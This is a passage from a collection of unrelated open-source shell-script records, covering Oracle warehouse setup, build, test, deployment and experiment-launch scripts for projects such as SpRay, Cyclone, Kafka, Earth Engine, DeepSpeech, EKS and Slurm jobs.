measurement_last_seq';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/ \nCREATE TABLE measurement_last_seq\n(\n last_seq NUMBER\n);\nINSERT INTO measurement_last_seq (last_seq) VALUES (0);\n\nGRANT SELECT, UPDATE, INSERT ON measurement_last_seq TO ${JIFFY_LOADER_USERNAME};\nGRANT SELECT ON measurement_last_seq TO ${JIFFY_READER_USERNAME};\n/\n\n\n-- temporary staging table for fact + dimension consruction\nBEGIN EXECUTE IMMEDIATE 'DROP TABLE measurement_facts_stage';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/ \nCREATE TABLE measurement_facts_stage\n(\n d_time_id DATE NOT NULL, -- DATETIME is a natural unique key and easily indexed\n d_code_id NUMBER NULL,\n d_code VARCHAR2(20) NOT NULL,\n d_page_id NUMBER NULL,\n d_page VARCHAR2(255) NULL,\n d_cat1_id NUMBER NULL, -- awaiting support for this dimension\n d_cat1 VARCHAR2(255) NULL,\n d_cat2_id NUMBER NULL, -- awaiting support for this dimension\n d_cat2 VARCHAR2(255) NULL,\n d_os_id NUMBER NULL, -- awaiting support for this dimension\n d_os VARCHAR2(255) NULL,\n d_browser_id NUMBER NULL, -- awaiting support for this dimension\n d_browser VARCHAR2(255) NULL,\n et_count NUMBER,\n et_sum NUMBER,\n et_sum_squares NUMBER,\n -- et_mean and et_std are functionally derived from sum, count, and sum of squares\n et_min NUMBER,\n et_max NUMBER,\n CONSTRAINT measurement_facts_stage_pk PRIMARY KEY\n (\n d_time_id,\n d_code,\n d_page,\n d_cat1,\n d_cat2,\n d_os,\n d_browser\n ) USING INDEX TABLESPACE ${INDEX_TABLESPACE}\n);\n\nGRANT SELECT, UPDATE, INSERT ON measurement_facts_stage TO ${JIFFY_LOADER_USERNAME};\nGRANT SELECT ON measurement_facts_stage TO ${JIFFY_READER_USERNAME};\n/\n\n-- roll-up detailed log along the finiest time interval (1mi)\nCREATE OR REPLACE VIEW jiffy_sum_detail_fine AS\nSELECT\n TRUNC(server_time,'MI') stime\n , measurement_code\n , page_name\n , user_cat1\n , user_cat2\n-- TODO: break user agent into OS/BROWSER dimension\n-- , user_agent\n , NULL as os\n , NULL as browser\n , COUNT(elapsed_time) et_count\n , SUM(elapsed_time) et_sum\n , SUM(elapsed_time*elapsed_time) et_sum_squares\n , MIN(elapsed_time) et_min\n , MAX(elapsed_time) et_max\nFROM measurement_view\nGROUP BY\n TRUNC(server_time,'MI')\n , measurement_code\n , page_name\n , user_cat1\n , user_cat2\n-- , user_agent\n;\n\nGRANT SELECT, UPDATE, INSERT ON jiffy_sum_detail_fine TO ${JIFFY_LOADER_USERNAME};\nGRANT SELECT ON jiffy_sum_detail_fine TO ${JIFFY_READER_USERNAME};\n/\n\n\" > $OUT1\n\necho \"\nCONNECT ${JIFFY_USERNAME}/${JIFFY_PASS}@${CONNECTSTRING};\n\ncreate or replace synonym MEASUREMENT_PART for JIFFY.MEASUREMENT_20080601;\n\nCREATE OR REPLACE PACKAGE roll_up\nIS\n FUNCTION next_minute(dt IN d_time.time_id%TYPE) RETURN d_time.time_id%TYPE;\n PROCEDURE extend_time_dim(beg_in IN d_time.time_id%TYPE, end_in IN d_time.time_id%TYPE);\n PROCEDURE roll_up_partition(part_in IN VARCHAR2, beg_in IN NUMBER, end_in IN NUMBER);\n PROCEDURE roll_up_range(beg_in IN NUMBER, end_in IN NUMBER);\n PROCEDURE roll_up_new;\nEND roll_up;\n/\nshow errors\n\nCREATE OR REPLACE PACKAGE BODY roll_up\nIS\n HOURS_PER_DAY INTEGER := 24;\n MINUTES_PER_DAY INTEGER := (HOURS_PER_DAY * 60);\n SECS_PER_DAY INTEGER := (MINUTES_PER_DAY * 60);\n\n -- keeps size of each range roll-up to easily manageable chunks\n MAX_DETAILS_PER_ROLLUP INTEGER := 1000000;\n\n FUNCTION next_minute(dt IN d_time.time_id%TYPE) RETURN d_time.time_id%TYPE\n IS\n next_mi d_time.time_id%TYPE;\n BEGIN\n select round(dt+1/MINUTES_PER_DAY,'MI') into next_mi from dual;\n RETURN next_mi;\n END next_minute;\n\n PROCEDURE extend_time_dim(beg_in IN d_time.time_id%TYPE, end_in IN d_time.time_id%TYPE)\n IS\n dt d_time.time_id%TYPE;\n min_dt d_time.time_id%TYPE;\n max_dt d_time.time_id%TYPE;\n beg_dt d_time.time_id%TYPE;\n end_dt d_time.time_id%TYPE;\n BEGIN\n -- fix range bounds\n select max(time_id) into max_dt from d_time;\n\t\tif max_dt is null then\n\t\t\t-- init time dimension to cover this year\n\t\t\tselect trunc(sysdate,'YYYY') into beg_dt from dual;\n\t\t\tselect trunc(beg_dt+366,'YYYY') into end_dt from dual;\n\t\telse\n\t\t\tselect min(time_id) into min_dt from d_time;\n\t select TRUNC(beg_in,'MI') into beg_dt from dual;\n\t select TRUNC(end_in,'MI') into end_dt from dual;\n\t\t\tif beg_dt is null or (min_dt <= beg_dt and beg_dt <= max_dt) then\n\t\t\t\tbeg_dt := next_minute(max_dt); \n\t\t\tend if;\n\t\t\tif beg_dt < min_dt then\n\t\t\t\tend_dt := min_dt;\t-- filling prior time range, bring forward to existing\n\t\t\tend if;\n\t if end_dt is null then\n\t -- default will extend to end of next day\n\t select trunc(beg_dt+1.99,'DD') into end_dt from dual;\n\t end if;\n\t\tend if;\n\t\t\n -- loop, inserting d_time records for minute intervals\n dt := beg_dt;\n while dt < end_dt\n loop\n insert into d_time(time_id) values (dt);\n dt := next_minute(dt);\n end loop;\n END extend_time_dim;\n \n PROCEDURE roll_up_partition(part_in IN VARCHAR2, beg_in IN NUMBER, end_in IN NUMBER)\n IS\n\t\ttstr\tVARCHAR2(2000);\n max_dt d_time.time_id%TYPE;\n BEGIN\n --dbms_output.put_line('part_in=' || to_char(part_in));\n\t\t-- bind synonym to this partition\n\t\ttstr := 'create or replace synonym MEASUREMENT_PART for JIFFY.MEASUREMENT_' || part_in;\n\t\texecute immediate tstr;\n\t\t-- empty the facts stage \n\t\texecute immediate 'truncate table measurement_facts_stage';\n\t\t-- roll up to stage\n\t\tinsert into measurement_facts_stage (\n\t\t\td_time_id\n\t\t , d_code\n\t\t , d_page\n\t\t , d_browser\n\t\t , d_os\n\t\t , d_cat1\n\t\t , d_cat2\n\t\t , et_count\n\t\t , et_sum\n\t\t , et_sum_squares\n\t\t , et_min\n\t\t , et_max\n\t\t)\n\t\t\tselect\n\t\t\t\ttrunc(server_time,'MI') stime\n\t\t\t , measurement_code\n\t\t\t , page_name\n\t\t\t , browser\n\t\t\t , os\n\t\t\t , user_cat1\n\t\t\t , user_cat2\n\t\t\t , count(elapsed_time) et_count\n\t\t\t , sum(elapsed_time) et_sum\n\t\t\t , sum(elapsed_time * elapsed_time) et_sum_squares\n\t\t\t , min(elapsed_time) et_min\n\t\t\t , max(elapsed_time) et_max\n\t\t\tfrom MEASUREMENT_PART o\n\t\t\twhere exists ( -- select only affected roll ups\n\t\t\t\tselect null\n\t\t\t\tfrom MEASUREMENT_PART i\n\t\t\t\twhere beg_in <= i.seq and i.seq <= end_in\n\t\t\t\tand trunc(i.server_time,'MI') = trunc(o.server_time,'MI')\n\t\t\t\tand i.measurement_code = o.measurement_code\n\t\t\t\tand i.page_name = o.page_name\n\t\t\t\t--TODO: add other dims as supported\n\t\t\t)\n\t\t\tgroup by\n\t\t\t\ttrunc(server_time,'MI') \n\t\t\t , measurement_code\n\t\t\t , page_name\n\t\t\t , browser\n\t\t\t , os\n\t\t\t , user_cat1\n\t\t\t , user_cat2\n\t\t;\n\t\t\n\t\t-- extend time dimension if necc\n\t\tselect max(d_time_id) into max_dt from measurement_facts_stage;\n\t\tif max_dt is null then\n\t\t\treturn;\t-- nothing to do\n\t\tend if;\n\t\textend_time_dim(NULL, next_minute(max_dt) );\n\t\t\n\t\t-- extend code dim\n\t\tinsert into d_code (code)\n\t\t\tselect DISTINCT d_code\n\t\t\tfrom measurement_facts_stage mfs\n\t\t\twhere not exists (\n\t\t\t\tselect null\n\t\t\t\tfrom d_code d\n\t\t\t\twhere d.code = mfs.d_code\n\t\t\t)\n\t\t;\n\n\t\t-- extend page dim\n\t\tinsert into d_page (page_name)\n\t\t\tselect DISTINCT d_page\n\t\t\tfrom measurement_facts_stage mfs\n\t\t\twhere not exists (\n\t\t\t\tselect null\n\t\t\t\tfrom d_page d\n\t\t\t\twhere d.page_name = mfs.d_page\n\t\t\t)\n\t\t;\n\n\t\t-- map dim ids\n\t\tupdate measurement_facts_stage mfs set\n\t\t\td_code_id = (select d.code_id from d_code d where d.code = mfs.d_code)\n\t\t , d_page_id = (select d.page_id from d_page d where d.page_name = mfs.d_page)\n\t\t;\n\t\n\t\t-- update facts table\n\t\t-- TODO: figure out if merge is available or update/insert is better than delete/insert\n\t\tdelete from measurement_facts mf\n\t\twhere exists (\n\t\t\tselect null\n\t\t\tfrom measurement_facts_stage mfs\n\t\t\twhere\n\t\t\t\tmf.d_time_id = mfs.d_time_id\n\t\t\tand mf.d_code_id = mfs.d_code_id\n\t\t\tand mf.d_page_id = mfs.d_page_id\n\t\t\tand mf.d_browser_id = mfs.d_browser_id\n\t\t\tand mf.d_os_id = mfs.d_os_id\n\t\t\tand mf.d_cat1_id = mfs.d_cat1_id\n\t\t\tand mf.d_cat2_id = mfs.d_cat2_id\n\t\t);\n\t\tinsert into measurement_facts (\n\t\t\td_time_id\n\t\t , d_code_id\n\t\t , d_page_id\n\t\t , d_browser_id\n\t\t , d_os_id\n\t\t , d_cat1_id\n\t\t , d_cat2_id\n\t\t , et_count\n\t\t , et_sum\n\t\t , et_sum_squares\n\t\t , et_min\n\t\t , et_max\n\t\t)\n\t\t\tselect\n\t\t\t\td_time_id\n\t\t\t , d_code_id\n\t\t\t , d_page_id\n\t\t\t , d_browser_id\n\t\t\t , d_os_id\n\t\t\t , d_cat1_id\n\t\t\t , d_cat2_id\n\t\t\t , et_count\n\t\t\t , et_sum\n\t\t\t , et_sum_squares\n\t\t\t , et_min\n\t\t\t , et_max\n\t\t\tfrom measurement_facts_stage\n\t\t;\n\tEND roll_up_partition;\n\n PROCEDURE roll_up_range(beg_in IN NUMBER, end_in IN NUMBER)\n IS\n BEGIN\n --dbms_output.put_line('beg=' || to_char(beg_in));\n\t for rec in (\n\t\t\tselect trunc(server_time,'DD') part \n\t from measurement_view\n\t\t\twhere beg_in <= seq and seq <= end_in\n\t\t\tgroup by trunc(server_time,'DD')\n\t\t\torder by trunc(server_time,'DD')\n\t\t)\n\t loop\n\t\t\troll_up_partition(TO_CHAR(rec.part,'YYYYMMDD'), beg_in, end_in);\n\t end loop;\n END roll_up_range;\n \n PROCEDURE roll_up_new\n IS\n last NUMBER;\n high NUMBER;\n BEGIN\n select last_seq into last from measurement_last_seq;\n select max(seq) into high from measurement_view where seq >= last;\n\t\tif high - last > MAX_DETAILS_PER_ROLLUP then\n\t\t\thigh := last + MAX_DETAILS_PER_ROLLUP;\n\t\tend if;\n roll_up_range(last,high);\n update measurement_last_seq set last_seq = high+1;\n commit;\n END roll_up_new;\n\nEND roll_up;\n/\nshow errors\n\" > $OUT2\n\necho \"\"\necho \"****************************\"\necho \"* Generation Done\"\necho \"****************************\"\necho \"\"\necho \"Run the following scripts from your SQL prompt\"\necho \" $ sqlplus /nolog @$OUT1\"\necho \" $ sqlplus /nolog @$OUT2\""} {"text": "hyungman/SpRay\n#!/bin/bash\n\n# set the following three variables\n# embree_library_path=not required on macOS\nintel_tbb_library_path=\nspray_home_path=\nspray_bin_path=\n\nexport DYLD_LIBRARY_PATH=$intel_tbb_library_path:$DYLD_LIBRARY_PATH\nexport SPRAY_HOME_PATH=$spray_home_path\nexport SPRAY_BIN_PATH=$spray_bin_path"} {"text": "1-10\n#!/bin/sh\n#\n# Copyright 2016 caicloud authors. All rights reserved.\n\nset -e\nset -u\nset -o pipefail\n\nsource \"$(dirname \"${BASH_SOURCE}\")/lib/common.sh\"\ncd ${CYCLONE_ROOT}\n\ncyclone_src=\"/go/src/github.com/caicloud/cyclone\"\n\nBUILD_IN=\"cargo.caicloud.io/caicloud/golang-docker:1.7-17.03\"\necho \"build in ${BUILD_IN}\"\ndocker run --rm \\\n -v ${CYCLONE_ROOT}:${cyclone_src} \\\n -e GOPATH=/go \\\n -w ${cyclone_src} \\\n ${BUILD_IN} go test -cover $(go list ./... | grep -v '/vendor/' | grep -v '/tests/')\n\nBUILD_IN=\"cargo.caicloud.io/caicloud/golang-docker:1.8-17.03\"\necho \"build in ${BUILD_IN}\"\ndocker run --rm \\\n -v ${CYCLONE_ROOT}:${cyclone_src} \\\n -e GOPATH=/go \\\n -w ${cyclone_src} \\\n ${BUILD_IN} go test -cover $(go list ./... | grep -v '/vendor/' | grep -v '/tests/')"} {"text": "rmetcalf9/dockJobapp/deleteTest.sh\n#!/bin/bash\necho \"Runs delete job test mutiple times to catch intermatiant failure\"\n\nwhile [ 1 = 1 ]\ndo\n sudo nosetests --rednose ./test/test_jobsDataAPI.py:test_jobsData.test_deleteJobRemovedExecutionLogs\n echo \"complete\"\n # need to sleep to give ctl+c a chance to work\n sleep 1\ndone"} {"text": "1-10\n#!/bin/bash\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nzooKList=$1\nif [ \"$zooKList\" == \"\" ]\nthen\n echo Usage $0 \n exit 1\nfi\n \nephemeral=$(date +%Y%m%d-%H%M%S)\nallTopicsDetails=\"AllTopicsDetails.${ephemeral}\"\necho \"All topics details will be sent to file: $allTopicsDetails\"\nkafka-topics.sh --describe --zookeeper ${zooKList} >> $allTopicsDetails\n \necho \"Details of output file $allTopicsDetails:\"\nfile $allTopicsDetails\nwc -l $allTopicsDetails"} {"text": "install/installopenni.sh\n#!/bin/bash\n\necho \"Installing openni\"\nprintf '\\n\\n' | sudo apt-add-repository ppa:deb-rob/ros-trusty\nsudo apt-get --yes --force-yes update\nsudo apt-get --yes --force-yes install libopenni2-dev\necho \"Done installing openni\""} {"text": "#!/system/bin/sh\n\n#Copyright (c) 2015 Lenovo Co. Ltd\t\n#Authors: \n\numask 022\n\n\n#LOGDIR=$(getprop persist.sys.lenovo.log.path)\n\nCFGFILE=$(getprop persist.sys.lenovo.log.qxdmcfg)\n\nLOGDISK=$(getprop persist.sys.lenovo.log.disk)\nLOGFOLDER=$(getprop persist.sys.lenovo.log.folder)\n\nLOGDIR=$LOGDISK\"/log/\"$LOGFOLDER\n\nchmod 777 $CFGFILE\n\nif [ ! -s $CFGFILE ]; then\n\tsetprop persist.sys.lenovo.log.qxdm FALSE\n\tsetprop persist.sys.lenovo.log.qxdmcfg \" \"\nelse\n #use this to flag the qxdm log has been opened in this boot \n setprop sys.lenovo.log.qxdm \"opened\"\n\t#kill the diag_mdlog process at first\n\t/system/bin/diag_mdlog -k\n\t# -s set the single log size in MB , -n set the number of file saved\n\t/system/bin/diag_mdlog -s 512 -n 6 -f $CFGFILE -o $LOGDIR\nfi"} {"text": "#!/bin/sh\n\nif [ $# -ne 6 ]; then\n echo \"usage \"\n exit 1\nfi\n\nDIR=\"${1}\"\nPN=\"${2}\"\nPV=\"${3}\"\nPR=\"${4}\"\nAUTHOR_NAME=\"${5}\"\nAUTHOR_EMAIL=\"${6}\"\n\nset -e\n\ncd \"${DIR}\"\nmkdir -p DEBIAN\necho \"Package: ${PN}\" > DEBIAN/control\necho \"Version: ${PV}-${PR}\" >> DEBIAN/control\necho \"Section: base\" >> DEBIAN/control\necho \"Priority: optional\" >> DEBIAN/control\necho \"Architecture: `dpkg --print-architecture`\" >> DEBIAN/control\n#RUN echo \"Depends: \" >> DEBIAN/control\necho \"Maintainer: ${AUTHOR_NAME} <${AUTHOR_EMAIL}>\" >> DEBIAN/control\necho \"Description: ${PN}\" >> DEBIAN/control\necho \" ${PN}\" >> DEBIAN/control\ncd \"${OLDPWD}\"\ndpkg-deb --build \"${DIR}\""} {"text": "#!/bin/bash\n\nif test $# -lt 1; then\n echo \"Usage: ./upload_ee.sh GCS_IMAGE_DIR\"\n echo \"e.g: ./upload_ee.sh gs://cloud-training-demos/landsat/output2015\"\n exit -1\nfi\n\nINDIR=$1\nGCS_IMAGES=$(gsutil ls -r $INDIR | grep TIF)\nEEUSER=vlakshmanan\n\ncollection=users/$EEUSER/reunionvideo\nearthengine create collection $collection\n\nfor GCS_IMAGE in $GCS_IMAGES; do\n BASE=$(echo $GCS_IMAGE | sed 's/gs:..//g' | sed 's/.TIF//g' | sed 's/\\//_/g')\n assetid=\"$collection/$BASE\"\n echo \"$GCS_IMAGE --> $assetid\"\n earthengine upload image --nodata_value 255 --asset_id $assetid $GCS_IMAGE\ndone\n\necho \"Use this script in earthengine to export a video:\n\nvar palette = ['FFFFFF', 'CE7E45', 'DF923D', 'F1B555', 'FCD163', '99B718', '74A901',\n '66A000', '529400', '3E8601', '207401', '056201', '004C00', '023B01',\n '012E01', '011D01', '011301'];\nvar vizParams = {min: 0, max: 100, palette: palette};\nvar polygon = ee.Geometry.Rectangle([55.1, -20.85, 55.9, -21.4]);\n\nvar collection = ee.ImageCollection('users/$EEUSER/reunionvideo');\n\nvar withMonths = collection.map(function(image) {\n var groups = image.id().match('LC8......(....)(...)....._ndvi');\n var year = ee.Number.parse(groups.get(1));\n var doy = ee.Number.parse(groups.get(2));\n var date = ee.Date.fromYMD(year, 1, 1).advance(doy.subtract(1), 'day');\n return image.set('month', date.get('month'));\n});\n\nvar monthlyImages = ee.List.sequence(1, 12).map(function(month) {\n return withMonths.filter(ee.Filter.equals('month', month))\n .max().visualize(vizParams);\n});\n\nExport.video.toDrive({\n collection: ee.ImageCollection(monthlyImages),\n description: 'reunionee',\n dimensions: 720,\n framesPerSecond: 12,\n region: polygon,\n});\n\n\""} {"text": "#!/bin/bash\n\ndirname=\"msp430-gcc-7.3.1.24-source-full\"\nbuildscript=\"README-build.sh\"\n\n# Download the missing MSP430-GCC sources from Texas Instruments\necho \"Downloading and extracting GCC sources\"\n./download-sources.sh\n\n# Build MSP430-GCC\ncd $dirname\nif [ ! -f $buildscript ]; then\n echo \"Build script: $buildscript not found\"\n exit 1\nfi\n\n# Make a \"fast\" version of the build script (make -j)\necho \"Creating fast version of the build script\"\nsed \"s/make$/make -j$(nproc)/g\" ./$buildscript > ./fast-$buildscript\n\n# Make build script executable\necho \"Running build script\"\nchmod +x fast-$buildscript\n./fast-$buildscript"} {"text": "VoiceZen/DeepSpeech\n#! /usr/bin/env bash\n\ncd ../.. > /dev/null\n\n# cd models/lm > /dev/null\n# sh download_lm_en.sh\nif [ $? -ne 0 ]; then\n exit 1\nfi\n# cd - > /dev/null\n\n\n# infer\nCUDA_VISIBLE_DEVICES=0,1 \\\npython -u greed_infer.py \\\n--num_samples=32 \\\n--trainer_count=2 \\\n--num_conv_layers=2 \\\n--num_rnn_layers=3 \\\n--rnn_layer_size=1024 \\\n--use_gru=True \\\n--use_gpu=False \\\n--share_rnn_weights=True \\\n--infer_manifest='data/librispeech/manifest.test-clean' \\\n--mean_std_path='data/librispeech/mean_std.npz' \\\n--vocab_path='data/librispeech/vocab.txt' \\\n--model_path='checkpoints/libri/step_final' \\\n--lang_model_path='models/lm/common_crawl_00.prune01111.trie.klm' \\\n--decoding_method='ctc_beam_search' \\\n--error_rate_type='wer' \\\n--specgram_type='linear'\n\nif [ $? -ne 0 ]; then\n echo \"Failed in inference!\"\n exit 1\nfi\n\n\nexit 0"} {"text": "#!/bin/bash\n\nnflag=false\n\nusage () { echo \"\n -h -- Opens up this help message\n -c -- EKS cluster name where the EFS will be configured\n -n -- Application namespace\n\"; }\noptions=':c:n:h'\nwhile getopts $options option\ndo\n case \"$option\" in\n c ) K8S_CLUSTER_NAME=${OPTARG-$K8S_CLUSTER_NAME};;\n n ) nflag=true; APP_NAMESPACE=${OPTARG-$APP_NAMESPACE};;\n h ) usage; exit;;\n \\? ) echo \"Unknown option: -$OPTARG\" >&2; exit 1;;\n : ) echo \"Missing option argument for -$OPTARG\" >&2; exit 1;;\n * ) echo \"Unimplemented option: -$OPTARG\" >&2; exit 1;;\n esac\ndone\n\n#######################################\n# Treating parameters\nmissing_parameters=false\n\nK8S_CLUSTER_NAME=\"$(sed -e 's/[[:space:]]*$//' <<<${K8S_CLUSTER_NAME})\"\nif [ -z \"${K8S_CLUSTER_NAME// }\" ]\nthen\n echo \"-c nor K8S_CLUSTER_NAME env variable specified. Please inform the EKS cluster name...\" >&2\n missing_parameters=true\nfi\n\nAPP_NAMESPACE=\"$(sed -e 's/[[:space:]]*$//' <<<${APP_NAMESPACE})\"\nif ! $nflag\nthen\n echo \"-n nor APP_NAMESPACE env variable specified, using poc-efs-eks-fargate for k8s application namespace...\" >&2\n APP_NAMESPACE=\"poc-efs-eks-fargate\"\nfi\n\nif $missing_parameters\nthen\n exit 99\nfi\n\n# Create a Kubernetes namespace for application workloads\nkubectl create namespace ${APP_NAMESPACE}\n\n# Create a custom Fargate Profile linked to created namespace\neksctl create fargateprofile \\\n --namespace \"${APP_NAMESPACE}\" \\\n --cluster \"${K8S_CLUSTER_NAME}\" \\\n --name \"fp-${APP_NAMESPACE}\""} {"text": "0\n#!/usr/bin/env bash\nexport PYTHONPATH=\"$(pwd)\""} {"text": "modules/platform/admin-jest.sh\n#!/usr/bin/env bash\n\ncheckParameter\n\ncd \"/var/www/html/${SHOPWARE_PROJECT}\" || exit 1\nexport PROJECT_ROOT=\"/var/www/html/${SHOPWARE_PROJECT}\"\nexport ENV_FILE=\"${PROJECT_ROOT}/.env\"\nPLATFORM_PATH=$(platform_component Administration)\nexport ADMIN_PATH=\"/var/www/html/sw6/${PLATFORM_PATH}Resources/app/administration/\"\n\nnpm run --prefix \"$ADMIN_PATH\" unit-watch"} {"text": "#!/bin/bash\n\nsource scripts/array_to_string_functions.sh\n\n\nCOMPILE_JOB_ID=`sbatch --parsable scripts/make_hip.sh --exclude=n[001-004,017-018]`\n\nSRCDIR=`pwd`\n\n\nOPTIMIZATION_TIME=0.1\n\nif false; then\necho \"this part not executed\"\n# ... Code I want to skip here ...\nfi\n\n\n\n\n\n######################## REAL TRANSFER #################################\nEXPERIMENT_FOLDER_NAME=\"src/experiments/real/results/transferability/controllers_trained_on_random_instances\"\nCOMPUTE_RESPONSE=\"true\"\nSCORE_PATH=\"src/experiments/real/results/transferability/transfer_score.txt\"\nRESPONSE_PATH=\"src/experiments/real/results/transferability/transfer_response.txt\"\nTMP_RES_PATH=\"${SRCDIR}/tmp/${EXPERIMENT_FOLDER_NAME}\"\nN_REPS=1\nN_EVALS=1000\nMAX_TRAIN_ITERATIONS=200\n\nstandard_NEAT_POPSIZE=128\nstandard_NLO=20\nstandard_DIM=10\nstandard_SOLVER_POPSIZE=20\nstandard_MAX_SOLVER_FE=10000\n########################################################################\n\n\n\n\n\n###########################################################################################################################\nEXP_NAME=\"NLO\"\nNEAT_POPSIZE_ARRAY=()\nCONTROLLER_NAME_PREFIX_ARRAY=()\nEXPERIMENT_FOLDER_NAME_ARRAY=()\nSEED_ARRAY=()\nPROBLEM_NLO_ARRAY=()\nPROBLEM_DIM_ARRAY=()\nSOLVER_POPSIZE_ARRAY=()\nMAX_SOLVER_FE_ARRAY=()\n\n\ni=-1\nfor NLO_train in 1 4 16 64; do\n i=$((i+1))\n\n NEAT_POPSIZE_ARRAY+=(\"${standard_NEAT_POPSIZE}\")\n CONTROLLER_NAME_PREFIX_ARRAY+=(\"NLO_${NLO_train}\")\n EXPERIMENT_FOLDER_NAME_ARRAY+=(\"${EXPERIMENT_FOLDER_NAME}\")\n SEED_ARRAY+=(\"${i}\")\n PROBLEM_NLO_ARRAY+=(\"${NLO_train}\")\n PROBLEM_DIM_ARRAY+=(\"${standard_DIM}\")\n SOLVER_POPSIZE_ARRAY+=(\"${standard_SOLVER_POPSIZE}\")\n MAX_SOLVER_FE_ARRAY+=(\"${standard_MAX_SOLVER_FE}\")\ndone\n\n\n\n\nNEAT_POPSIZE_ARRAY=$(to_list \"${NEAT_POPSIZE_ARRAY[@]}\")\nCONTROLLER_NAME_PREFIX_ARRAY=$(to_list \"${CONTROLLER_NAME_PREFIX_ARRAY[@]}\")\nEXPERIMENT_FOLDER_NAME_ARRAY=$(to_list \"${EXPERIMENT_FOLDER_NAME_ARRAY[@]}\")\nSEED_ARRAY=$(to_list \"${SEED_ARRAY[@]}\")\nPROBLEM_NLO_ARRAY=$(to_list \"${PROBLEM_NLO_ARRAY[@]}\")\nPROBLEM_DIM_ARRAY=$(to_list \"${PROBLEM_DIM_ARRAY[@]}\")\nSOLVER_POPSIZE_ARRAY=$(to_list \"${SOLVER_POPSIZE_ARRAY[@]}\")\nMAX_SOLVER_FE_ARRAY=$(to_list \"${MAX_SOLVER_FE_ARRAY[@]}\")\n\n\n\nTRAINING_JOB_ID=`sbatch --parsable --dependency=afterok:${COMPILE_JOB_ID} --export=MAX_TRAIN_ITERATIONS=${MAX_TRAIN_ITERATIONS},NEAT_POPSIZE_ARRAY=$NEAT_POPSIZE_ARRAY,CONTROLLER_NAME_PREFIX_ARRAY=$CONTROLLER_NAME_PREFIX_ARRAY,EXPERIMENT_FOLDER_NAME_ARRAY=$EXPERIMENT_FOLDER_NAME_ARRAY,SEED_ARRAY=$SEED_ARRAY,PROBLEM_NLO_ARRAY=$PROBLEM_NLO_ARRAY,PROBLEM_DIM_ARRAY=$PROBLEM_DIM_ARRAY,SOLVER_POPSIZE_ARRAY=$SOLVER_POPSIZE_ARRAY,MAX_SOLVER_FE_ARRAY=$MAX_SOLVER_FE_ARRAY --array=0-$i src/experiments/real/scripts/hip_train_array_random_problem.sl`\n\n\n\nTESTING_JOB_ID=\"\"\n\n\nNEAT_POPSIZE_ARRAY=()\nCONTROLLER_NAME_PREFIX_ARRAY=()\nEXPERIMENT_FOLDER_NAME_ARRAY=()\nSEED_ARRAY=()\nPROBLEM_NLO_ARRAY=()\nPROBLEM_DIM_ARRAY=()\nSOLVER_POPSIZE_ARRAY=()\nMAX_SOLVER_FE_ARRAY=()\ni=-1\nfor NLO_train in 1 4 16 64; do\n for NLO_test in 1 4 16 64; do\n i=$((i+1))\n\n NEAT_POPSIZE_ARRAY+=(\"${standard_NEAT_POPSIZE}\")\n CONTROLLER_NAME_PREFIX_ARRAY+=(\"NLO_${NLO_train}\")\n EXPERIMENT_FOLDER_NAME_ARRAY+=(\"${EXPERIMENT_FOLDER_NAME}\")\n SEED_ARRAY+=(\"${i}\")\n PROBLEM_NLO_ARRAY+=(\"${NLO_test}\")\n PROBLEM_DIM_ARRAY+=(\"${standard_DIM}\")\n SOLVER_POPSIZE_ARRAY+=(\"${standard_SOLVER_POPSIZE}\")\n MAX_SOLVER_FE_ARRAY+=(\"${standard_MAX_SOLVER_FE}\")\n done\ndone\n\nNEAT_POPSIZE_ARRAY=$(to_list \"${NEAT_POPSIZE_ARRAY[@]}\")\nCONTROLLER_NAME_PREFIX_ARRAY=$(to_list \"${CONTROLLER_NAME_PREFIX_ARRAY[@]}\")\nEXPERIMENT_FOLDER_NAME_ARRAY=$(to_list \"${EXPERIMENT_FOLDER_NAME_ARRAY[@]}\")\nSEED_ARRAY=$(to_list \"${SEED_ARRAY[@]}\")\nPROBLEM_NLO_ARRAY=$(to_list \"${PROBLEM_NLO_ARRAY[@]}\")\nPROBLEM_DIM_ARRAY=$(to_list \"${PROBLEM_DIM_ARRAY[@]}\")\nSOLVER_POPSIZE_ARRAY=$(to_list \"${SOLVER_POPSIZE_ARRAY[@]}\")\nMAX_SOLVER_FE_ARRAY=$(to_list \"${MAX_SOLVER_FE_ARRAY[@]}\")\n\nTESTING_JOB_ID=`sbatch --parsable --dependency=afterok:${TRAINING_JOB_ID} --export=EXPERIMENT_FOLDER_NAME=${EXPEIMENT_FOLDER_NAME},COMPUTE_RESPONSE=${COMPUTE_RESPONSE},SCORE_PATH=${SCORE_PATH},RESPONSE_PATH=${RESPONSE_PATH},TMP_RES_PATH=${TMP_RES_PATH},N_REPS=${N_REPS},N_EVALS=${N_EVALS},EXP_NAME=${EXP_NAME},NEAT_POPSIZE_ARRAY=$NEAT_POPSIZE_ARRAY,CONTROLLER_NAME_PREFIX_ARRAY=$CONTROLLER_NAME_PREFIX_ARRAY,EXPERIMENT_FOLDER_NAME_ARRAY=$EXPERIMENT_FOLDER_NAME_ARRAY,SEED_ARRAY=$SEED_ARRAY,PROBLEM_NLO_ARRAY=$PROBLEM_NLO_ARRAY,PROBLEM_DIM_ARRAY=$PROBLEM_DIM_ARRAY,SOLVER_POPSIZE_ARRAY=$SOLVER_POPSIZE_ARRAY,MAX_SOLVER_FE_ARRAY=$MAX_SOLVER_FE_ARRAY --array=0-$i src/experiments/real/scripts/hip_test_array.sl`\n\n\nsbatch --dependency=afterok:$TESTING_JOB_ID --export=SCORE_PATH=${SCORE_PATH},RESPONSE_PATH=${RESPONSE_PATH},COMPUTE_RESPONSE=${COMPUTE_RESPONSE},TMP_RES_PATH=${TMP_RES_PATH} 